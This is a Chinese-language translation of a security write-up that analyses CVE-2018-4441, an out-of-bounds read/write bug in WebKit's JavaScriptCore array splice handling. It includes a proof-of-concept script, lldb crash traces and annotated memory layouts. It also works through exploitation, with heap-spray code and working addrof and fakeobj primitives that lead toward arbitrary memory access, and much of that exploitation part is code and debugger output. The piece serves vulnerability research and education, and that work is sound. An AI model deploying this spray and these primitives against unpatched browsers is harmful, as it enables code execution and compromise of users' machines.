WebKit越界读写漏洞分析与利用(CVE-2018-4441)

2019-02-28 14:23:579485人阅读

前言

WebKit是Apple Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。相关新闻请参见:《WebKit漏洞影响最新版Apple Safari》

在本文中,我们将详细分析CVE-2018-4441的漏洞细节,该漏洞是由Google Project Zero的lokihardt报告的。

概述

bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);
 
    // 如果数组中包含holes或处于异常状态,
    // 则使用ArrayPrototype中的通用算法。
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
        || hasSparseMap()
        || shouldUseSlowPut(indexingType())) {
        return false;
    }
 
    if (!oldLength)
        return true;
 
    unsigned length = oldLength - count;
 
    storage->m_numValuesInVector -= count;
    storage->setLength(length);
 
    // [...]

根据上述代码中的注释,我认为该方法能够防止带holes的数组进入代码“storage->m_numValuesInVector -= count”。但是,此类数组实际上只能通过holesMustForwardToPrototype方法返回false来实现。除非数组上有任何索引访问器(Indexed Accessors)或原型链上的Proxy对象,否则该方法将会返回False。因此,“storage->m_numValuesInVector”可以由用户控制。

在PoC中,它将m_numValuesInVector更改为0xfffffff0,等于新的长度,使hasHoles方法返回False,从而导致JSArray::unshiftCountWithArrayStorage方法中产生越界读取和越界写入的问题。

PoC如下:

function main() {
    // [1]
    let arr = [1];
    // [2]
    arr.length = 0x100000;
    // [3]
    arr.splice(0, 0x11);
    // [4]
    arr.length = 0xfffffff0;
    // [5]
    arr.splice(0xfffffff0, 0, 1);
}
 
main();

根本原因分析

在调试器中运行PoC后,我们看到二进制文件在尝试写入到不可写内存(EXC_BAD_ACCESS)时发生崩溃:

(lldb) r
Process 3018 launched: './jsc' (x86_64)
Process 3018 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638)
    frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675
JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage:
->  0x100af8cd3 <+675>: movq   $0x0, 0x10(%r13,%rdi,8)
    0x100af8cdc <+684>: incq   %rcx
    0x100af8cdf <+687>: incq   %rdx
    0x100af8ce2 <+690>: jne    0x100af8cd0               ; <+672>
Target 0: (jsc) stopped.
 
(lldb) p/x $r13
(unsigned long) $4 = 0x00000010000fe6a8
 
(lldb) p/x $rdi
(unsigned long) $5 = 0x00000000fffffff0
 
(lldb) memory region $r13+($rdi*8)
[0x00000017fa800000-0x0000001802800000) ---
 
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638)
  * frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675
    frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(JSC::ExecState*, unsigned int, unsigned int) + 215
    frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift<(JSC::JSArray::ShiftCountMode)1>(JSC::ExecState*, JSC::JSObject*, unsigned int, unsigned int, unsigned int, unsigned int) + 181
    frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 4267
    [...]

更确切地说,崩溃发生在JSArray::unshiftCountWithArrayStorage的以下循环中,它尝试清除(零初始化)添加的向量元素:

// [...]
 
for (unsigned i = 0; i < count; i++)
    vector[i + startIndex].clear();
 
// [...]

startIndex($rdi)的值为0xfffffff0,向量($r13)指向0x10000fe6a8,最终造成偏移位置指向不可写的地址,从而产生崩溃。

PoC分析

// [1]
let arr = [1]
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6b0
// - Type: ArrayWithInt32
// - public length: 1
// - vector length: 1

首先,创建一个ArrayWithInt32类型的数组。其中可以包含任何类型的元素(例如:对象或双精度),但此时仍然没有关联的ArrayStorage或holes。WebKit项目很好的利用了不同的数组存储方法。简而言之,没有ArrayStorage的JSArray将具有以下形式的蝴蝶结构:

--==[[ JSArray
 
(lldb) x/2gx -l1 0x107bb4340
0x107bb4340: 0x0108211500000062   <--- JSC::JSCell [*]
0x107bb4348: 0x00000010000fe6b0   <--- JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly
 
                           +0 { 16} JSArray
                           +0 { 16}     JSC::JSNonFinalObject
                           +0 { 16}         JSC::JSObject
[*] 01 08 21 15 00000062   +0 {  8}             JSC::JSCell
    |  |  |  |  |          +0 {  1}                 JSC::HeapCell
    |  |  |  |  +--------  +0 <  4>                 JSC::StructureID m_structureID;
    |  |  |  +-----------  +4 <  1>                 JSC::IndexingType m_indexingTypeAndMisc;
    |  |  +--------------  +5 <  1>                 JSC::JSType m_type;
    |  +-----------------  +6 <  1>                 JSC::TypeInfo::InlineTypeFlags m_flags;
    +--------------------  +7 <  1>                 JSC::CellState m_cellState;
                           +8 <  8>             JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly;
                           +8 <  8>                 JSC::Butterfly * m_value;
 
--==[[ Butterfly
 
(lldb) x/2gx -l1 0x00000010000fe6b0-8
0x10000fe6a8: 0x0000000100000001   <--- JSC::IndexingHeader [*]
0x10000fe6b0: 0xffff000000000001   <--- arr[0]
0x10000fe6b8: 0x00000000badbeef0   <--- JSC::Scribble (uninitialized memory)
 
[*] 00000001 00000001
    |        |
    |        +--------  uint32_t JSC::IndexingHeader.u.lengths.publicLength
    +-----------------  uint32_t JSC::IndexingHeader.u.lengths.vectorLength
 
// [2]
arr.length = 0x100000
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6e8
// - Type: ArrayWithArrayStorage
// - public length: 0x100000
// - vector length: 1
// - m_numValuesInVector: 1

接下来,将其长度设置为0x100000,并将数组转换为ArrayWithArrayStorage。实际上,如果将数组的长度设置为大于等于MIN_SPARSE_ARRAY_INDEX的任何值,都会导致其被转换为ArrayWithArrayStorage。另外,请注意ArrayStorage数组的蝴蝶指向ArrayStorage,而不是数组的第一个索引。

--==[[ Butterfly
 
(lldb) x/5gx -l1 0x00000010000fe6e8-8
0x10000fe6e0: 0x0000000100100000   <--- JSC::IndexingHeader
0x10000fe6e8: 0x0000000000000000   \___ JSC::ArrayStorage [*]
0x10000fe6f0: 0x0000000100000000   /
0x10000fe6f8: 0xffff000000000001   <--- m_vector[0], arr[0]
0x10000fe700: 0x00000000badbeef0   <--- JSC::Scribble (uninitialized memory)
 
                           +0 { 24} ArrayStorage
[*] 0000000000000000 ---   +0 <  8>     JSC::WriteBarrier<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> > m_sparseMap;
    0000000100000000       +0 {  8}         JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >
    |       |              +0 <  8>             JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >::StorageType m_cell;
    |       +-----------   +8 <  4>     unsigned int m_indexBias;
    +-------------------  +12 <  4>     unsigned int m_numValuesInVector;
                          +16 <  8>     JSC::WriteBarrier<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> > [1] m_vector;
 
// [3]
arr.splice(0, 0x11)
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6e8
// - Type: ArrayWithArrayStorage
// - public length: 0xfffef
// - vector length: 1
// - m_numValuesInVector: 0xfffffff0

JavaScriptCore使用shift和unshift操作来实现splice,并根据itemCount和actualDeleteCount的值决定具体要采取的操作。

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    // [...]
 
    unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
 
    // [...]
 
    unsigned actualDeleteCount = length - actualStart;
    if (exec->argumentCount() > 1) {
        double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
        if (deleteCount < 0)
            actualDeleteCount = 0;
        else if (deleteCount > length - actualStart)
            actualDeleteCount = length - actualStart;
        else
            actualDeleteCount = static_cast<unsigned>(deleteCount);
    }
 
    // [...]
 
    unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
    if (itemCount < actualDeleteCount) {
        shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    } else if (itemCount > actualDeleteCount) {
        unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    }
 
    // [...]
}

因此,使用itemCount < actualDeleteCount调用splice,最终将会调用JSArray::shiftCountWithArrayStorage。

bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    // [...]
 
    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
        || hasSparseMap()
        || shouldUseSlowPut(indexingType())) {
        return false;
    }
 
    // [...]
 
    storage->m_numValuesInVector -= count;
 
    // [...]
}

正如在原始漏洞报告中提到的那样,假设数组在原型链中既没有索引访问器也没有任何代理对象,那么holesMustForwardToPrototype将返回False,并且会调用storage->m_numValuesInVector -= count。在我们的示例中,count等于0x11,并且在减法操作m_numValuesInVector之前等于1,导致最终结果为0xfffffff0。

// [4]
arr.length = 0xfffffff0
// - Object @ 0x107bb4340
// - Butterfly @ 0x10000fe6e8
// - Type: ArrayWithArrayStorage
// - public length: 0xfffffff0
// - vector length: 1
// - m_numValuesInVector: 0xfffffff0

此时,m_numValuesInVector的值受到控制。通过将数组的publicLength设置为m_numValuesInVector的值,也可以实现对hasHoles的控制。

bool hasHoles() const
{
    return m_numValuesInVector != length();
}

值得一提的是,我们对m_numValuesInVector的控制非常有限,并且与越界读写紧密相关,稍后我们将进行更加详细的讨论。

// [5]
arr.splice(0xfffffff0, 0, 1)

最后,我们使用itemCount > actualDeleteCount调用splice以触发unshift(而不是shift)。hasHoles将返回False,我们就可以在JSArray::unshiftCountWithArrayStorage中实现越界读写。

漏洞利用

我们的计划是利用JSArray::unshiftCountWithArrayStorage中的memmove来实现addrof和fakeobj原语。但在我们这样做之前,必须先制定一个总体的计划。在memmove调用之前,有3个if条件语句。

bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    // [...]
 
    bool moveFront = !startIndex || startIndex < length / 2;
 
    // [1]
    if (moveFront && storage->m_indexBias >= count) {
        Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
        storage = newButterfly->arrayStorage();
        storage->m_indexBias -= count;
        storage->setVectorLength(vectorLength + count);
        setButterfly(vm, newButterfly);
    // [2]
    } else if (!moveFront && vectorLength - length >= count)
        storage = storage->butterfly()->arrayStorage();
    // [3]
    else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
        storage = arrayStorage();
    else {
        throwOutOfMemoryError(exec, scope);
        return true;
    }
 
    WriteBarrier<Unknown>* vector = storage->m_vector;
 
    if (startIndex) {
        if (moveFront)
            // [4]
            memmove(vector, vector + count, startIndex * sizeof(JSValue));
        else if (length - startIndex)
            // [5]
            memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
    }
 
    // [...]
}

最初,我们放弃了条件[1]和[3],因为它们将重新分配当前的蝴蝶,我们将无法预测(后续证明我们可以预测)新分配的蝴蝶区域(Butterfly Land),导致我们错误地假设一个不可靠的memmove。考虑到这一点,我们开始尝试条件[2],但很快就陷入到了死胡同中。

如果我们采取这种方法,就必须使moveFront为False。为此,startIndex必须非零,并且大于或等于length/2。这最终变得更加糟糕,因为[4]将会复制至少length/2 * 8字节。如果我们回想起之前如何进入到代码路径的,就会意识到这是一个非常巨大的数字。在memmove调用之后,我们遇到了崩溃。在这里,并没有进一步调查其根本原因,但由于我们已经memmove了大量的内存,我们相信蝴蝶附近的一些对象或结构已经被破坏了。也许通过喷射(Spraying)一批0x100000大小的JSArrays可以实现绕过,也许不能实现。我们认为这种方案不适合使用,因此就放弃了这个想法。

尝试喷射

在这时,我们开始阅读浏览器以前漏洞的EXP,试图从中寻找到可以借鉴的思路。我们发现了niklasb的漏洞利用代码。简而言之,他的代码在堆中创建了特定大小对象的holes,并可靠的分配它们。这对于[1]和[3]来说是理想的。以下代码说明了我们如何调整该方法,以使其满足我们的漏洞利用需要:

let SPRAY_SIZE = 0x3000;
 
// [a]
let spray = new Array(SPRAY_SIZE);
 
// [b]
for (let i = 0; i < 0x3000; i += 3) {
    // ArrayWithDouble, will allocate 0x60, will be free'd
    spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
    // ArrayWithContiguous, will allocate 0x60, will be corrupted for fakeobj
    spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
    // ArrayWithDouble, will allocate 0x60, will be corrupted for addrof
    spray[i+2] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
}
 
// [c]
for (let i = 0; i < 1000; i += 3)
    spray[i] = null;
 
// [d]
gc();
 
// [e]
for (let i = 0; i < SPRAY_SIZE; i += 3)
    // corrupt butterfly's length field
    spray[i+1][0] = i2f(1337)

我们实际上正在做的,是[a]创建一个数组;[b]root中包含一批特定大小的数组;[c]删除它们的引用关系;[d]触发gc,导致堆产生一定大小的holes。我们在漏洞利用中,遵循了这个逻辑,以便能够在想要损坏的目标/被喷射对象的周围获得一个重新分配的蝴蝶。

可能大家注意到,每个喷射索引(Spray Index)都是大小为10的JSArray。为什么是10呢?经过几次测试运行,并且不断对Butterfly::tryCreateUninitialized中的蝴蝶分配进行调试,我们最终得到了arr.splice(1000, 1, 1, 1)。我们注意到,重新分配的大小将是0x58(向上进位为0x60)。这就是一个JSArray的确切大小,其蝴蝶拥有10个元素。

让我们想象一下这种喷射在内存中实现时的样子。

        ...
+0x0000: 0x0000000d0000000a ----------+
+0x0000: 0x402abd70a3d70a3d           |
+0x0008: 0x402abd70a3d70a3d           |
+0x0010: 0x402abd70a3d70a3d           |
+0x0018: 0x402abd70a3d70a3d           |
+0x0020: 0x402abd70a3d70a3d         spray[i], ArrayWithDouble
+0x0028: 0x402abd70a3d70a3d           |
+0x0030: 0x402abd70a3d70a3d           |
+0x0038: 0x402abd70a3d70a3d           |
+0x0040: 0x402abd70a3d70a3d           |
+0x0048: 0x402abd70a3d70a3d ----------+
        ...
+0x0068: 0x0000000d0000000a ----------+
+0x0070: 0x00007fffaf7c83c0           |
+0x0078: 0x00007fffaf7b0080           |
+0x0080: 0x00007fffaf7b00c0           |
+0x0088: 0x00007fffaf7b0100           |
+0x0090: 0x00007fffaf7b0140         spray[i+1], ArrayWithContiguous
+0x0098: 0x00007fffaf7b0180           |
+0x00a0: 0x00007fffaf7b01c0           |
+0x00a8: 0x00007fffaf7b0200           |
+0x00b0: 0x00007fffaf7b0240           |
+0x00b8: 0x00007fffaf7b0280 ----------+
        ...
+0x00d8: 0x0000000d0000000a ----------+
+0x00e0: 0x402abd70a3d70a3d           |
+0x00e8: 0x402abd70a3d70a3d           |
+0x00f0: 0x402abd70a3d70a3d           |
+0x00f8: 0x402abd70a3d70a3d           |
+0x0100: 0x402abd70a3d70a3d         spray[i+2], ArrayWithDouble
+0x0108: 0x402abd70a3d70a3d           |
+0x0110: 0x402abd70a3d70a3d           |
+0x0118: 0x402abd70a3d70a3d           |
+0x0120: 0x402abd70a3d70a3d           |
+0x0128: 0x402abd70a3d70a3d ----------+
        ...

[c]和[d]的目标实际上是在spray[i]上放置一只重新分配的蝴蝶。在这里,我们已经可以控制startIndex和count。startIndex表示我们要开始添加/删除元素的索引,count则表示添加元素的实际数量。例如,arr.splice(1000, 1, 1, 1)对应的startIndex为1000,count为1。如果我们删除一个元素并添加[1,1],那么实质上是添加了一个元素。

确实,如果我们有了这个思路,后面的过程将变得非常方便。特别是,有了这些数字之后,[4]的memmove调用可以转换为:

// [...]
 
WriteBarrier<Unknown>* vector = storage->m_vector;
 
if (1000) {
    if (1)
        memmove(vector, vector + 1, 1000 * sizeof(JSValue));
}
 
// [...]

从本质上讲,我们将向后移动内存。例如,假设Butterfly::tryCreateUninitialized返回spray[6],那么我们可以将[4]视为:

for (j = 0; j < startIndex; i++)
    spray[6][j] = spray[6][j+1];

这就是我们如何覆盖相邻数组的蝴蝶的长度头部的方式,将会产生越界问题,最终产生一个不错的addrof/fakeobj原语。下面是内存在[4]之前的样子:

        ...
+0x0000: 0x00000000badbeef0 <--- vector
+0x0008: 0x0000000000000000
+0x0010: 0x00000000badbeef0
+0x0018: 0x00000000badbeef0
+0x0020: 0x00000000badbeef0
         |vectlen| |publen|
+0x0028: 0x0000000d0000000a ---------+
+0x0030: 0x0001000000000539          |
+0x0038: 0x00007fffaf734dc0          |
+0x0040: 0x00007fffaf734e00          |
+0x0048: 0x00007fffaf734e40          |
+0x0050: 0x00007fffaf734e80        spray[688]
+0x0058: 0x00007fffaf734ec0          |
+0x0060: 0x00007fffaf734f00          |
+0x0068: 0x00007fffaf734f40          |
+0x0070: 0x00007fffaf734f80          |
+0x0078: 0x00007fffaf734fc0 ---------+
        ...
+0x0098: 0x0000000d0000000a ---------+
+0x00a0: 0x402abd70a3d70a3d          |
+0x00a8: 0x402abd70a3d70a3d          |
+0x00b0: 0x402abd70a3d70a3d          |
+0x00b8: 0x402abd70a3d70a3d          |
+0x00c0: 0x402abd70a3d70a3d        spray[689]
+0x00c8: 0x402abd70a3d70a3d          |
+0x00d0: 0x402abd70a3d70a3d          |
+0x00d8: 0x402abd70a3d70a3d          |
+0x00e0: 0x402abd70a3d70a3d          |
+0x00e8: 0x4085e2f5c28f5c29 ---------+
        ...

这是之后的样子,请注意spray[688]的vectorLength和publicLength字段:

        ...
+0x0020: 0x0000000d0000000a
         |vectlen| |publen|
+0x0028: 0x0001000000000539 --------+
+0x0030: 0x00007fffaf734dc0         |
+0x0038: 0x00007fffaf734e00         |
+0x0040: 0x00007fffaf734e40         |
+0x0048: 0x00007fffaf734e80         |
+0x0050: 0x00007fffaf734ec0       spray[688]
+0x0058: 0x00007fffaf734f00         |
+0x0060: 0x00007fffaf734f40         |
+0x0068: 0x00007fffaf734f80         |
+0x0070: 0x00007fffaf734fc0         |
+0x0078: 0x0000000000000000 --------+
        ...

我们成功地覆盖了spray[688]的长度,这样也就实现了漏洞的利用。

addrof和fakeobj

let oob_boxed = spray[688];   // ArrayWithContiguous
let oob_unboxed = spray[689]; // ArrayWithDouble
 
let stage1 = {
    addrof: function(obj) {
        oob_boxed[14] = obj;
        return f2i(oob_unboxed[0]);
    },
 
    fakeobj: function(addr) {
        oob_unboxed[0] = i2f(addr);
        return oob_boxed[14];
    },
 
    test: function() {
        var addr = this.addrof({a: 0x1337});
        var x = this.fakeobj(addr);
        if (x.a != 0x1337) {
            fail(1);
        }
        print('[+] Got addrof and fakeobj primitives \\o/');
    }
}

我们将使用oob_boxed,覆盖其长度,在oob_unboxed中编写一个对象的地址,以便构造我们的addrof原语,最后使用oob_unboxed在其中放置任意地址,并能够通过oob_boxed将它们解释为对象。

后续的漏洞利用,就是使用几乎在每个EXP中都使用的即插即用代码。喷射结构并使用命名属性进行任意读写操作。关于这一步骤,可以参考w00dl3cs的详细解释

总结

CVE-2018-4441在Commit 51a62eb53815863a1bd2dd946d12f383e8695db0中实现修复。在我们编写EXP的不久后就实现了修复。如果大家有任何问题或建议,请随时通过Twitter与我们联系。

参考

[1] 攻击JavaScript引擎

[2] w00dl3cs的漏洞利用方法

[3] niklasb的数组溢出漏洞利用方法


本文翻译自:https://melligra.fun/webkit/2019/02/15/cve-2018-4441/

翻译作者:41yf1sh 原文地址:https://www.4hou.com/vulnerable/16384.html

0
现金券
0
兑换券
立即领取
领取成功